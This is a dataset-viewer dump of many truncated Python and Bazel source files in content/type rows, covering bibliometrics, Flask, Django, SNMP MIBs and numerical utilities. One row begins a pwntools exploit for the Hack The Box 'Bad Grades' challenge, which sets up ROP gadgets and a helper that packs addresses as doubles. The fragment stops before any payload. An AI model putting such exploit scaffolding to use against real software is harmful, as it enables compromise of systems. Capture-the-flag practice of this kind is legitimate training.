content stringlengths 0 894k | type stringclasses 2
values |
|---|---|
from collections import namedtuple
from pybliometrics.scopus.superclasses import Retrieval
from pybliometrics.scopus.utils import chained_get, get_id, detect_id_type,\
get_link, listify
class AbstractRetrieval(Retrieval):
@property
def abstract(self):
"""The abstract of a document.
Note: ... | python |
"""Repository macros for conftest"""
load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
load(":platforms.bzl", "OS_ARCH")
CONFTEST_VERSION = "0.23.0"
_BUILD_FILE_CONTENT = """
exports_files(["conftest"])
"""
SHA256S = {
"conftest_0.23.0_Darwin_x86_64.tar.gz": "863d2eb3f9074c064e5fc0f81946fb7a... | python |
from skipper_lib.events.event_receiver import EventReceiver
from app.data_service import DataService
import os
def main():
event_receiver = EventReceiver(username=os.getenv('RABBITMQ_USER', 'skipper'),
password=os.getenv('RABBITMQ_PASSWORD', 'welcome1'),
... | python |
# helpers.py
import datetime
# import whois
import json
import socket
import time
import traceback
from random import choice
from threading import Thread
from urllib.parse import quote as urlencode
from urllib.parse import unquote
import pytz
import requests
import socks
import subprocess
from urllib.error import URL... | python |
HELPER_SETTINGS = {
"TIME_ZONE": "America/Chicago",
"INSTALLED_APPS": [
"djangocms_text_ckeditor",
"djangocms_versioning",
"djangocms_versioning.test_utils.extensions",
"djangocms_versioning.test_utils.polls",
"djangocms_versioning.test_utils.blogpost",
"djangocms... | python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
script to open directory in current window manager
"""
import utool as ut
if __name__ == '__main__':
import sys
if len(sys.argv) == 2:
path = sys.argv[1]
else:
path = None
ut.assertpath(path)
if ut.checkpath(path, verbose=True):
... | python |
# -*- coding: utf-8 -*-
'''Chemical Engineering Design Library (ChEDL). Utilities for process modeling.
Copyright (C) 2017 Caleb Bell <Caleb.Andrew.Bell@gmail.com>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
... | python |
vel = float(input('Velocidade do veículo: '))
velMax = 80
taxa= 7.00
if(vel > velMax):
multa = (vel - velMax) * taxa
print('Você ultrapassou o limite de velocidade! Pagar multa de R${:.2f}'.format(multa))
print('Dirija com Cuidado!') | python |
import csv
from django.db import transaction
from django_dynamic_fixture.django_helper import get_apps, get_models_of_an_app
def color(color, string):
return '\033[1;{}m{}\033[0m'.format(color, string)
def white(string):
return color('37', string)
def red(string):
return color('91', string)
def green... | python |
#!/usr/bin/env python
import pathlib
import yaml
from rich import print
from netmiko import ConnectHandler
def read_yaml(filename):
with open(filename) as f:
return yaml.safe_load(f)
if __name__ == "__main__":
# Load the .netmiko.yml file
netmiko_yml = pathlib.PosixPath("~/.netmiko.yml")
ne... | python |
# HTB - Bad Grades
from pwn import *
import struct
p = process("./grades")
# gdb.attach(p, "b *0x0401106")
def make_double(address):
val = p64(address).hex()
return str(struct.unpack("d", bytes.fromhex(val))[0])
elf = ELF("./grades")
libc = ELF("./libc.so.6")
rop = ROP(elf)
rop2 = ROP(libc)
p.recvuntil(... | python |
from kiox.episode import Episode
from kiox.step import StepBuffer
from kiox.transition_buffer import UnlimitedTransitionBuffer
from kiox.transition_factory import (
FrameStackTransitionFactory,
SimpleTransitionFactory,
)
from .utility import StepFactory
def test_simple_transition_factory():
factory = Ste... | python |
from flask import Flask, render_template, request, session, url_for, redirect
import pymysql.cursors
from appdef import app, conn
@app.route('/registerCustomer')
def registerCustomer():
return render_template('registerCustomer.html')
#Authenticates the register
@app.route('/registerAuthCustomer', methods=['GET', '... | python |
from spaceone.inventory.connector.aws_sqs_connector.connector import SQSConnector
| python |
#!/usr/bin/env python
# Copyright 2014-2015 Canonical Limited.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... | python |
"""Test the `crc` main function."""
from crc.bin.crc3 import crc
import os
import pytest # noqa: F401
import sys
TEST_FILES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), 'files'))
TEST_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', '..', 'tests'))
def test_crc():
"""Test c... | python |
import os
from collections import namedtuple
from typing import List, TypedDict
from numpy.lib.arraysetops import isin
FIT_URL = 'https://raw.githubusercontent.com/notemptylist/shinko/main/modelfits/arima/'
FIT_PATH = os.path.join(os.path.dirname(os.path.realpath(__file__)),
'modelfits',... | python |
import os
v = os.environ.get('SOME_KEY')
if v.<caret>
| python |
# -*- coding: utf-8 -*-
# *****************************************************************************
# Copyright (c) 2020, Intel Corporation All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# ... | python |
# (c) Copyright IBM Corp. 2010, 2021. All Rights Reserved.
# -*- coding: utf-8 -*-
# pragma pylint: disable=unused-argument, no-self-use
"""Function implementation"""
import datetime
import logging
from resilient_lib import validate_fields, RequestsCommon
from fn_create_webex_meeting.lib.cisco_api import WebexAPI
log ... | python |
# Copyright (C) 2016 Intel Corporation
#
# SPDX-License-Identifier: MIT
from .pip import Pip
class IDP201700(Pip):
_python_path = '/miniconda3/envs/idp2017.0.0/bin/python'
| python |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | python |
import numpy as np
from sklearn.datasets import make_regression
from scipy.stats import norm, itemfreq
import pandas as pd
import matplotlib.pyplot as plt
import sys
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(
'RowCount', type=int, help='The number of rows to generate'
)
parser.add_argu... | python |
"""
>>> def fn(arg1,arg2): pass
>>> co = fn.func_code
>>> co.co_argcount
2
>>> co.co_varnames
('arg1', 'arg2')
"""
def _test():
import doctest
doctest.testmod()
if __name__ == "__main__":
_test()
| python |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache... | python |
# coding: utf-8
"""
OrderCloud
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 1.0
Contact: ordercloud@four51.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Ve... | python |
#! usr/bin/python3.6
"""
Module initially auto generated using V5Automation files from CATIA V5 R28 on 2020-06-11 12:40:47.360445
.. warning::
The notes denoted "CAA V5 Visual Basic Help" are to be used as reference only.
They are there as a guide as to how the visual basic / catscript function... | python |
from django.db import models
from django.utils import timezone
from django.db.models import Q
from django_filters.rest_framework import *
from django_filters import filters
from django_filters.constants import EMPTY_VALUES
class Filter(FilterSet):
def __init__(self,form,request=None,queryset=None):
quer... | python |
# -*- coding: utf-8 -*-
"""
flask_micron.method
===================
This module provides the functionality for wrapping functions to
make them work for Flask-Micron request handling.
:copyright: (c) 2016 by Maurice Makaay
:license: BSD, see LICENSE for more details.
"""
import re
import sys
import traceback
from f... | python |
import os
import testinfra.utils.ansible_runner
runner = testinfra.utils.ansible_runner.AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE'])
ALL_HOSTS = runner.get_hosts('all')
MANAGER_HOSTS = runner.get_hosts('docker_swarm_manager')
WORKER_HOSTS = runner.get_hosts('docker_swarm_worker')
testinfra_hosts = ALL_HOSTS
... | python |
#!/usr/bin/env python3
import sys
import os
import subprocess
import tempfile
import re
import itertools
import hashlib
import shutil
import argparse
def parse_stats(stats):
m = re.search('([0-9]+) work registers', stats)
registers = int(m.group(1)) if m else 0
m = re.search('([0-9]+) uniform registers',... | python |
#
# PySNMP MIB module HPN-ICF-FR-QOS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HPN-ICF-FR-QOS-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 19:26:51 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, ... | python |
#!/usr/bin/env python3
from uuid import UUID, uuid4
def generate_client_token():
return uuid4().hex
def is_valid_uuid(uuid_string):
try:
UUID(uuid_string)
except ValueError:
return False
return True
| python |
from .gui import *
from .ui import *
| python |
import numpy as np
from typing import Type
from nn.activations import Activation, Sigmoid
class Layer:
m, n = None, None
class Input(Layer):
def __init__(self, n_features, batch_size):
self.m = n_features
self.n = batch_size
self.cache = dict()
def forward_step(self, x):
... | python |
import numpy as np
from matplotlib import pyplot as plt
import time
from numba import jit
def load_delta_U(fname):
# Assumes npz
npz_arr = np.load(fname)
delta_U = npz_arr['arr_0']
print("Successfully Loaded covariate distances from {}".format(fname))
return delta_U
def create_delta_U(dmr, U, dU... | python |
import time
from datetime import datetime
# our libs
from src import lcd
def renderDisplay():
# Initialise display
lcd.lcd_init()
now = datetime.now()
# dd/mm/YY H:M:S
date_time = now.strftime("%d/%m/%Y %H:%M:%S")
# Send some more text
lcd.lcd_string("Akaal last fed:", lcd.LCD_LINE_1)... | python |
from typing import List, Dict, Callable, Optional
from utils.types import Box
from .utils import RELATIONS, optimize_latex_string
class SymbolTreeNode:
# these will be placed when a bracket should not be optimized
# for example `\frac{w}{a}` should not be converted to `\fracwa`, but `\frac{w}a` is fine
#... | python |
import os
import tempfile
import unittest
from epregressions.builds.base import BaseBuildDirectoryStructure, autodetect_build_dir_type, KnownBuildTypes
class TestAutoDetectBuildType(unittest.TestCase):
def setUp(self):
self.build_dir = tempfile.mkdtemp()
def add_cache_file(self, content):
c... | python |
from comprehemd.blocks import HeadingBlock
def test_repr() -> None:
block = HeadingBlock("foo", level=1, source="foo\n")
assert repr(block) == 'HeadingBlock("foo", level="1", source="foo\\n")'
def test_str() -> None:
block = HeadingBlock("foo", level=1, source="foo\n")
assert str(block) == "HeadingB... | python |
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="cae",
version="0.1",
author="Arsenii Astashkin",
author_email="ars.astashkin@gmail.com",
description="Hybrid Singular Value Decomposition (SVD) implementation",
long_description=long_d... | python |
__________________________________________________________________________________________________
sample 16 ms submission
class Solution:
def combinationSum3(self, k: int, n: int, d:int = 9) -> List[List[int]]:
if k * (2 * d - k + 1) <= 2 * n:
return [list(range(d - k + 1, d + 1))] if k * (2 * ... | python |
import pd_base_tests
import pdb
import time
import sys
from collections import OrderedDict
from ptf import config
from ptf.testutils import *
from ptf.thriftutils import *
import os
from pal_rpc.ttypes import *
from netlock.p4_pd_rpc.ttypes import *
from mirror_pd_rpc.ttypes import *
from res_pd_rpc.ttypes import *... | python |
from fipie import NoCluster, EqualWeight
from fipie.data import load_example_data
from fipie.tree import Tree, create_tree
def test_create_tree():
price = load_example_data()
ret = price.asfreq('w', method='pad').pct_change()
tree = create_tree(ret, NoCluster())
assert len(tree.nodes) == ret.shape[1... | python |
from __future__ import absolute_import
import os
import itertools
from numpy.testing import assert_equal
import pytest
from brian2 import *
from brian2.devices.device import reinit_and_delete
from brian2.tests.utils import assert_allclose
@pytest.mark.codegen_independent
def test_custom_events():
# Set (could b... | python |
from django.db import models
from django.contrib.auth.models import AbstractUser
class BaseModel(models.Model):
"""
A base abstract model from which all other models will inherit.
"""
created = models.DateTimeField(
auto_now_add=True,
blank=True, null=True,
help_text='Record fi... | python |
from __future__ import absolute_import
import pkg_resources
import setuptools
import setuptools.command.build_ext
import setuptools.command.test
__author__ = 'Shashank Shekhar'
__version__ = '0.14'
__email__ = 'shashank.f1@gmail.com'
__download_url__ = 'https://github.com/shkr/routesimilarity/archive/0.1.tar.gz'
try... | python |
import json
import os
from itertools import groupby
from pathlib import Path
from typing import List, Union
from google.cloud import storage
def load_config(train_or_apply: str) -> dict:
"""Load config"""
config_file_path = Path(__file__).parent.resolve() / "config.json"
with open(config_file_path, "r") ... | python |
# Adapted from repo botwizer by DevGltich
# https://github.com/DevGlitch/botwizer
# Resources used:
# https://github.com/AlexeyAB/darknet
# https://www.youtube.com/watch?v=Z_uPIUbGCkA
import cv2
import numpy as np
from time import sleep
def stream_object_detection_text(rtsp_url, config_path, weights_path, labels_pa... | python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import division
import numpy as np
from time import sleep
from visitor import *
from visitor import VisitInstrumentation, VISIT_MESHTYPE_POINT
counter = 0
def dp(*args, **kwargs):
x = np.linspace(-5.,4.,100)
y = np.linspace(0.,10.,100)
retu... | python |
from os import environ
environ["MKL_THREADING_LAYER"] = "GNU"
import pymc3
import pymc as pymc2
import cPickle as pickle
import theano
import theano.tensor as tt
import numpy as np
from collections import OrderedDict
from time import sleep
from numpy import mean, std, square, percentile, median, sum as np_sum, array, o... | python |
import launchpad_py as launchpad
MK2_NAME = "Launchpad MK2"
# MK3MINI_NAME = "LPMiniMK3"
MK3MINI_NAME = "minimk3"
PRO_NAME = "Launchpad Pro"
LPX_NAME = "lpx"
CTRL_XL_NAME = "control xl"
LAUNCHKEY_NAME = "launchkey"
DICER_NAME = "dicer"
PAD_MODES = {
launchpad.Launchpad: "Mk1",
launchpad.LaunchpadMk2: "Mk2",
... | python |
import os
import shutil
import tempfile
from unittest import TestCase, skip
from IPython import embed
from qlknn.pipeline.pipeline import *
from tests.base import *
class TrainNNTestCase(TestCase):
def setUp(self):
self.settings = default_train_settings.copy()
self.settings.pop('train_dims')
... | python |
from abc import ABC, abstractmethod
from jawa.constants import *
from jawa.util.descriptor import method_descriptor
import six.moves
def class_from_invokedynamic(ins, cf):
"""
Gets the class type for an invokedynamic instruction that
calls a constructor.
"""
const = ins.operands[0]
bootstrap ... | python |
"""
Content Provider: Metropolitan Museum of Art
ETL Process: Use the API to identify all CC0 artworks.
Output: TSV file containing the image, their respective meta-data.
Notes: https://metmuseum.github.io/
No rate limit specified.
"""
from m... | python |
import numpy as np
from pymoo.experimental.deriv import DerivationBasedAlgorithm
from pymoo.algorithms.base.line import LineSearchProblem
from pymoo.algorithms.soo.univariate.exp import ExponentialSearch
from pymoo.algorithms.soo.univariate.golden import GoldenSectionSearch
from pymoo.core.population import Population... | python |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-07-10 17:56
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('djiffy', '0001_initial'),
]
operations = [
migrations.AlterModelOptions(
... | python |
from django.core.management.base import BaseCommand
import django.db.models.base
import core.models
class Command(BaseCommand):
help = 'Custom manage.py command to start celery.'
def add_arguments(self, parser):
parser.add_argument(
"needle", type=str, help="The uuid/field that you are l... | python |
from pybricks.tools import wait
print("Started!")
try:
# Run your script here as you normally would. In this
# example we just wait forever and do nothing.
while True:
wait(1000)
except SystemExit:
# This code will run when you press the stop button.
# This can be useful to "clean up", s... | python |
"""
This module contains a set of functions related to strings
>
> strcat : String concatenation for a 1xN list
> strcat_array : String concatenation for a MxN array
> strrep : String replacement for array
> repmat : Repeat char NxM times
> find : Find the location of a input character in... | python |
from checkov.terraform.context_parsers.base_parser import BaseContextParser
class ResourceContextParser(BaseContextParser):
def __init__(self):
definition_type = 'resource'
super().__init__(definition_type=definition_type)
def get_block_type(self):
return self.definition_type
parser... | python |
'''
Por algum motivo desconhecido, Rangel só tem um par de meias de cada cor.
Hoje ele está atrasado para ir a faculdade e ainda precisa pegar um par de meias, mas as meias estão todas bagunçadas.
Dado o número de pares de meias na gaveta de Rangel, ele quer saber quantas meias ele precisa pegar, no mínimo, para ter ... | python |
"""
KGE Web User Interface Application Code package.
"""
from os import getenv, path
import logging
from kgea.server.web_services.kgea_session import KgeaSession
import jinja2
import aiohttp_jinja2
from aiohttp import web
import aiohttp_cors
from .kgea_ui_handlers import (
kge_landing_page,
kge_login,
kg... | python |
"""
05-strange-attractors.py - Non-linear ordinary differential equations.
Oscilloscope part of the tutorial
---------------------------------
A strange attractor is a system of three non-linear ordinary
differential equations. These differential equations define a
continuous-time dynamical system that exhibits chaot... | python |
# -*- coding: utf-8 -*-
import struct
from io import BytesIO
class Buffer(BytesIO):
"""
A buffer-like object with shortcut methods to read C objects
"""
def __read(self, size: int, unpack=None):
res = self.read(size)
if unpack:
res = struct.unpack(unpack, res)[0]
... | python |
"""Saturation classes."""
from __future__ import annotations
from abc import ABC, abstractmethod
import numpy as np
from sklearn.base import BaseEstimator, TransformerMixin
from sklearn.utils.validation import check_is_fitted, check_array
class Saturation(BaseEstimator, TransformerMixin, ABC):
"""Base class fo... | python |
from dsbox.template.template import DSBoxTemplate
from d3m.metadata.problem import TaskKeyword
from dsbox.template.template_steps import TemplateSteps
from dsbox.schema import SpecializedProblem
import typing
import numpy as np # type: ignore
class UMASSClassificationTemplate(DSBoxTemplate):
def __init__(sel... | python |
''' This script handles local interactive inference '''
import torch
import torch.nn as nn
import torch.nn.functional as F
import argparse
import numpy as np
import spacy
from seq2seq.Models import Seq2Seq
from seq2seq.Translator import Translator
from seq2seq.Beam import Beam
from seq2seq import Constants
class Int... | python |
"""Tests for encodings submodule."""
from nxviz import encodings as aes
import pytest
import pandas as pd
from random import choice
import numpy as np
def categorical_series():
"""Generator for categorical series."""
categories = "abc"
return pd.Series([choice(categories) for _ in range(30)])
def conti... | python |
'''
Created by auto_sdk on 2015.04.03
'''
from aliyun.api.base import RestApi
class Mkvstore20150301DescribeInstancesRequest(RestApi):
def __init__(self,domain='m-kvstore.aliyuncs.com',port=80):
RestApi.__init__(self,domain, port)
self.InstanceIds = None
self.InstanceStatus = None
self.NetworkType = N... | python |
"About API endpoints."
import http.client
import flask
from webapp import utils
blueprint = flask.Blueprint("api", __name__)
@blueprint.route("")
def root():
"API root."
items = {
"schema": {
"root": {"href": utils.url_for("api_schema.root")},
"logs": {"href": utils.url_for... | python |
data_all = pandas.read_csv('../data/gapminder_all.csv', index_col='country')
data_all.plot(kind='scatter', x='gdpPercap_2007', y='lifeExp_2007',
s=data_all['pop_2007']/1e6)
# A good place to look is the documentation for the plot function -
# help(data_all.plot).
# kind - As seen a... | python |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: POGOProtos/Networking/Responses/GetMapObjectsResponse.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
fr... | python |
import os
PROJECT_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
#TEST_DATA = os.path.join(PROJECT_ROOT, "data/train_2008011514_data.json")
#TEST_JSON = os.path.join(PROJECT_ROOT, "test/test.json")
BERT_MODEL = "bert-base-chinese"
PAD = 0
UNK = 1
CLS = 2
SEP = 3
COMMA = 117
LESS_THAN = 133
LARGER... | python |
from samtranslator.model import PropertyType, Resource
from samtranslator.model.types import is_type, is_str
class SNSSubscription(Resource):
resource_type = 'AWS::SNS::Subscription'
property_types = {
'Endpoint': PropertyType(True, is_str()),
'Protocol': PropertyType(True, is_str()),
... | python |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo.exceptions import UserError
from odoo.tests import Form
from odoo.addons.stock_account.tests.test_stockvaluation import _create_accounting_data
from odoo.addons.stock_account.tests.test_stockvaluationlayer impo... | python |
# django==1.6.1
# django_facebook==5.3.1
from django.test import TestCase
from django_facebook.models import FacebookCustomUser
class MyTest(TestCase):
def setUp(self):
user = FacebookCustomUser()
user.facebook_id = '123456789'
user.save()
def do_login(self):
self.client.logi... | python |
f = open("tags_from_tiktok.txt", 'r')
data = f.read()
lst = data.split('\n')
tmp = []
for line in lst:
if line == '':
continue
line = line.strip()
if not (line in tmp):
tmp.append(line)
f.close()
f = open("tags_from_tiktok.txt", 'w')
for line in tmp:
f.write(line + '\n')
f.close() | python |
import komand
from .schema import AnalyzeInput, AnalyzeOutput
# Custom imports below
import requests
class Analyze(komand.Action):
def __init__(self):
super(self.__class__, self).__init__(
name="analyze",
description="Initialize an SSL assessment",
input=AnalyzeInput()... | python |
# demo
import numpy as np
from skimage import io
import glob
from core.DUT_eval.measures import compute_ave_MAE_of_methods
def dut_eval(gt_dir, rs_dirs):
## 0. =======set the data path=======
print("------0. set the data path------")
# # >>>>>>> Follows have to be manually configured <<<<<<< #... | python |
a = ["a3","a2","a1"]
# print(f"{a[0]}")
a = range(1,9)
for i in range(1,9):
print(f"{a[i-1]}") | python |
"""Python Enumerations"""
import sys as _sys
__all__ = ['Enum', 'IntEnum', 'unique']
version = 1, 1, 3
pyver = float('%s.%s' % _sys.version_info[:2])
try:
any
except NameError:
def any(iterable):
for element in iterable:
if element:
return True
return False
try:... | python |
#!/usr/bin/env python
import numpy as np
import healpy as hp
import astropy.table as Table
import matplotlib.pyplot as plt
from matplotlib import cm
from matplotlib import rc
from matplotlib import rcParams
from matplotlib.colors import LogNorm
plt.rc('text', usetex=True)
plt.rc('font', family='serif')
impor... | python |
import torch
from torch import nn
import torch.nn.functional as F
class SelfAttention2d(nn.Module):
def __init__(self, in_channels, spectral_norm=True):
super(SelfAttention2d, self).__init__()
# Channel multiplier
self.in_channels = in_channels
self.theta = nn.Conv2d(self.in_chann... | python |
#coding:utf-8
#Author:Dustin
#Algorithm:单层感知机(二分类)
'''
数据集:Mnist
训练集数量:60000
测试集数量:10000
------------------------------
运行结果:
正确率:80.29%(二分类)
运行时长:78.55s
'''
from keras.datasets import mnist
import numpy as np
import time
class Perceptron:
#定义初始化方法,记录迭代次数和学习率。
def __init__(self, iteration = 30, learning_rate... | python |
from __future__ import annotations
from dataclasses import dataclass
from datetime import date
from typing import Optional, Set, List
class OutOfStock(Exception):
pass
def allocate(line: OrderLine, batches: List[Batch]) -> str:
try:
batch = next(
b for b in sorted(batches) if b.can_allo... | python |
from django.shortcuts import render
from .models import Product_origin
from django.http import JsonResponse
# Create your views here.
def product(request):
if request.method == "POST":
product = request.GET['p']
product_details = Product_origin.objects.get(Product_code=product)
print(produ... | python |
"""
construct 2d array of pase state
distance array
"""
import sys
import os
import re
# sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
from pathlib import Path
sys.path.append(Path(__file__).resolve().parents[1])
if __name__ == '__main__' and __package__ is None:
__package__ = 'kuro... | python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import urllib
from datetime import datetime
import time
import json
from alex.applications.PublicTransportInfoEN.site_preprocessing import expand_stop
from alex.tools.apirequest import APIRequest
from alex.utils.cache import lru_c... | python |
from multiprocessing import Queue
from urlobj import URLObj
import logging
class WorkQueue():
def __init__(self):
# Specify maxsize when multithreading.
self.queue = Queue()
self.loaded = False
# Semantics:
# Puts 'urlo' into the queue. If there's no free space, it will block
... | python |
"""
Example logger file.
I've found this doesn't work on bluehost, unless you set up the handler thus:
http_handler = logging.handlers.HTTPHandler(
'example.com',
'http://example.com/path_to_logger/api_upload?key=test&other_keys...',
method='GET',
)
"""
import logging
import logging.handlers
logger = log... | python |
#!/usr/bin/env python3
def main():
"""Checks if there's enough free memory in the computer."""
main() | python |
from django.contrib import admin
from .models import *
admin.site.register(Usuario)
admin.site.register(Media)
admin.site.register(Ramo)
admin.site.register(Cliente)
admin.site.register(Colaborador)
admin.site.register(Pedido)
admin.site.register(Solicitacao)
admin.site.register(Post)
| python |
from setuptools import setup, find_packages
entry_points = """
[console_scripts]
autowheel = autowheel.autowheel:main
"""
setup(name='autowheel',
version='0.1.dev0',
description='Automatically build wheels from PyPI releases',
long_description=open('README.rst').read(),
install_requires=['clic... | python |
import os
import sys
import urllib
import multiprocessing
import ConfigParser
import tempfile
import yaml
import re
from collections import namedtuple
from ansible.parsing.dataloader import DataLoader
from ansible.vars import VariableManager
from ansible.inventory import Inventory
from ansible.executor.playbook_execut... | python |
bot0_wieght_layer_one = [[0.4935829386124425, 0.2486496493340803, 0.45287661299189763, 0.6228461025230169, 0.0027775129778663254, 0.1708073345725104, 0.519667083534109, 0.23366912853189226, 0.6139798605829813, 0.5293127738090753, 0.6567206010553531, 0.7435351945616345, 0.7015167444631532, 0.14995488489543307, 0.4975771... | python |
# -*- coding: utf-8 -*-
from loop_index import LoopIndex
from os import system
def backward_iter_console_test(num_list, jump, start=None):
test_announcement = "Backward iteration by " + str(jump)
if start == None:
start = len(num_list)-1
else:
test_announcement += " from " + str(star... | python |
"""Implementation of a contact graph object."""
from collections import OrderedDict, namedtuple
import math
import networkx as nx
from .contact_plan import ContactIdentifier, ContactPlan
# ContactIdentifier object for better readability and access to identifer
# tuple object.
NeighborLists = namedtuple('NeighborLists... | python |
#!/usr/bin/python
import serial, time
ser = serial.Serial('/dev/ttyUSB0') # open serial port
def comm(msg):
print("msg: %s" % msg)
ser.write("XA/%s\r\n" % msg )
resp = ser.readline()
print resp
print(ser.name) # check which port was really used
msgs = ['kamu', 'N?', 'B?', 'T?']
# test he... | python |
from .comparable import Comparable
class String(Comparable):
@classmethod
def validate(cls, yaml_node):
super().validate(yaml_node)
if not isinstance(yaml_node.value, str):
cls.abort("Expected string input", yaml_node.loc)
| python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.